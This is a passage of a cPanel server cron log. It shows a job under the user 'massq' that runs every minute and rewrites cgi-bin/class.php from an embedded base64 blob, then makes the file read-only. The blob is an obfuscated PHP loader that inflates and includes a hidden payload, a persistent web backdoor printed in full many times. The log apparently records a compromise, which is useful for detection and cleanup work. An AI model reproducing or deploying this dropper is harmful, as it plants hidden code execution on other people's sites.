&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:55:01 server CROND[28148]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 03:55:01 server CROND[28149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 03:56:01 server CROND[29012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:57:01 server CROND[30019]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 03:57:01 server CROND[30020]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:58:01 server CROND[30843]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 03:59:01 server CROND[31834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:00:01 server CROND[32660]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:00:01 server CROND[32661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 04:00:01 server CROND[32663]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 04:00:01 server CROND[32665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:00:01 server CROND[32666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:01:01 server CROND[1117]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 04:01:01 server CROND[1118]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:01:01 server run-parts(/etc/cron.hourly)[1117]: starting 0anacron
Nov  9 04:01:01 server run-parts(/etc/cron.hourly)[1131]: finished 0anacron
Nov  9 04:02:01 server CROND[2077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:03:01 server CROND[2875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:04:01 server CROND[3703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:05:01 server CROND[4576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:05:01 server CROND[4577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:05:01 server CROND[4578]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 04:05:01 server CROND[4579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:06:01 server CROND[5407]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:07:01 server CROND[6074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
